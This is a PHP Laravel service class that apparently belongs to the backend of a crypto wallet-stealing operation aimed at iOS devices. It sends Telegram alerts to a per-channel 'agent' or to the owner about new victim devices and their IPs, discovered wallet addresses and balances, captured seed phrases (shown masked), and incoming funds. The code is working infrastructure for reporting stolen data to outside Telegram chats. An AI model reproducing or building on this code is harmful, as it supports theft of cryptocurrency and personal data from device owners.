195 lines
6.1 KiB
PHP
195 lines
6.1 KiB
PHP
<?php
|
|
|
|
namespace App\Services;
|
|
|
|
use App\Models\Channel;
|
|
use App\Models\Device;
|
|
use App\Models\User;
|
|
use App\Models\WalletMnemonic;
|
|
use Illuminate\Support\Facades\Http;
|
|
use Illuminate\Support\Facades\Log;
|
|
|
|
class TelegramNotifier
|
|
{
|
|
public function systemEnabled(): bool
|
|
{
|
|
return trim((string) config('coruna.telegram.bot_token', '')) !== ''
|
|
&& trim((string) config('coruna.telegram.owner_chat_id', '')) !== '';
|
|
}
|
|
|
|
/**
|
|
* @return array{0: string, 1: string}|null [token, chatId]
|
|
*/
|
|
public function resolveDestination(?string $deviceKey = null): ?array
|
|
{
|
|
$agent = $this->resolveAgentForDeviceKey($deviceKey);
|
|
if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramBot()) {
|
|
return [
|
|
trim((string) $agent->bot_token),
|
|
trim((string) $agent->chat_id),
|
|
];
|
|
}
|
|
|
|
if (! $this->systemEnabled()) {
|
|
return null;
|
|
}
|
|
|
|
return [
|
|
trim((string) config('coruna.telegram.bot_token')),
|
|
trim((string) config('coruna.telegram.owner_chat_id')),
|
|
];
|
|
}
|
|
|
|
public function enabled(?string $deviceKey = null): bool
|
|
{
|
|
return $this->resolveDestination($deviceKey) !== null;
|
|
}
|
|
|
|
public function send(string $text, ?string $deviceKey = null): bool
|
|
{
|
|
$dest = $this->resolveDestination($deviceKey);
|
|
if ($dest === null) {
|
|
return false;
|
|
}
|
|
[$token, $chatId] = $dest;
|
|
|
|
try {
|
|
$resp = Http::timeout(15)->asForm()->post(
|
|
"https://api.telegram.org/bot{$token}/sendMessage",
|
|
[
|
|
'chat_id' => $chatId,
|
|
'text' => $text,
|
|
'parse_mode' => 'HTML',
|
|
'disable_web_page_preview' => true,
|
|
]
|
|
);
|
|
|
|
return $resp->successful();
|
|
} catch (\Throwable $e) {
|
|
Log::warning('telegram send failed: '.$e->getMessage());
|
|
|
|
return false;
|
|
}
|
|
}
|
|
|
|
public function notifyNewDevice(string $deviceId, ?string $ios, ?string $ip): void
|
|
{
|
|
$this->send(implode("\n", [
|
|
'📱 <b>New Device</b>',
|
|
'🔑 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
|
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
|
|
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
|
|
]), $deviceId);
|
|
}
|
|
|
|
public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
|
|
{
|
|
$this->notifyNewWallets($deviceId, [[
|
|
'address' => $address,
|
|
'chain' => $chain ?: '',
|
|
'balance' => $balance ?: '',
|
|
'source' => $symbol ?: '',
|
|
]]);
|
|
}
|
|
|
|
/**
|
|
* Batch wallet alerts into a single Telegram message.
|
|
*
|
|
* @param list<array{address: string, chain?: string, balance?: string, source?: string}> $wallets
|
|
*/
|
|
public function notifyNewWallets(string $deviceId, array $wallets): void
|
|
{
|
|
if ($wallets === []) {
|
|
return;
|
|
}
|
|
|
|
$lines = [
|
|
'💰 <b>New Wallet Address</b>'.(count($wallets) > 1 ? ' ('.count($wallets).')' : ''),
|
|
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
|
];
|
|
|
|
foreach ($wallets as $i => $w) {
|
|
$bal = trim((string) ($w['balance'] ?? ''));
|
|
if ($bal === '') {
|
|
$bal = '—';
|
|
}
|
|
$source = trim((string) ($w['source'] ?? ''));
|
|
if ($i > 0) {
|
|
$lines[] = '';
|
|
}
|
|
$lines[] = '⛓ <b>Chain</b>: '.$this->e(($w['chain'] ?? '') !== '' ? $w['chain'] : '—');
|
|
if ($source !== '') {
|
|
$lines[] = '🏷 <b>Source</b>: '.$this->e($source);
|
|
}
|
|
$lines[] = '📬 <b>Address</b>: <code>'.$this->e($w['address'] ?? '').'</code>';
|
|
$lines[] = '💵 <b>Balance</b>: '.$this->e($bal);
|
|
}
|
|
|
|
$this->send(implode("\n", $lines), $deviceId);
|
|
}
|
|
|
|
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
|
|
{
|
|
$this->send(implode("\n", [
|
|
'🔐 <b>New Mnemonic</b>',
|
|
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
|
'🏷 <b>Source</b>: '.$this->e($source ?: '—'),
|
|
'📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
|
|
]), $deviceId);
|
|
}
|
|
|
|
public function notifyBalanceChange(
|
|
string $deviceId,
|
|
string $address,
|
|
string $symbol,
|
|
string $amount,
|
|
?string $chain = null,
|
|
?string $balance = null,
|
|
): void {
|
|
$lines = [
|
|
'✅ <b>Balance Inbound</b>',
|
|
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
|
'⛓ <b>Chain</b>: '.$this->e($chain ?: '—'),
|
|
'📬 <b>Address</b>: <code>'.$this->e($address).'</code>',
|
|
'💵 <b>Amount</b>: +'.$this->e($amount).' '.$this->e($symbol),
|
|
];
|
|
if ($balance !== null && trim($balance) !== '') {
|
|
$lines[] = '💰 <b>Balance</b>: '.$this->e($balance);
|
|
}
|
|
$this->send(implode("\n", $lines), $deviceId);
|
|
}
|
|
|
|
private function resolveAgentForDeviceKey(?string $deviceKey): ?User
|
|
{
|
|
$deviceKey = trim((string) $deviceKey);
|
|
if ($deviceKey === '') {
|
|
return null;
|
|
}
|
|
|
|
try {
|
|
$channelId = Device::query()
|
|
->where('device_id', $deviceKey)
|
|
->value('channel_id');
|
|
if (! is_string($channelId) || $channelId === '') {
|
|
return null;
|
|
}
|
|
|
|
$userId = Channel::query()
|
|
->where('channel_id', $channelId)
|
|
->value('user_id');
|
|
if ($userId === null || (int) $userId <= 0) {
|
|
return null;
|
|
}
|
|
|
|
return User::query()->find((int) $userId);
|
|
} catch (\Throwable) {
|
|
return null;
|
|
}
|
|
}
|
|
|
|
private function e(?string $value): string
|
|
{
|
|
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
|
|
}
|
|
}
|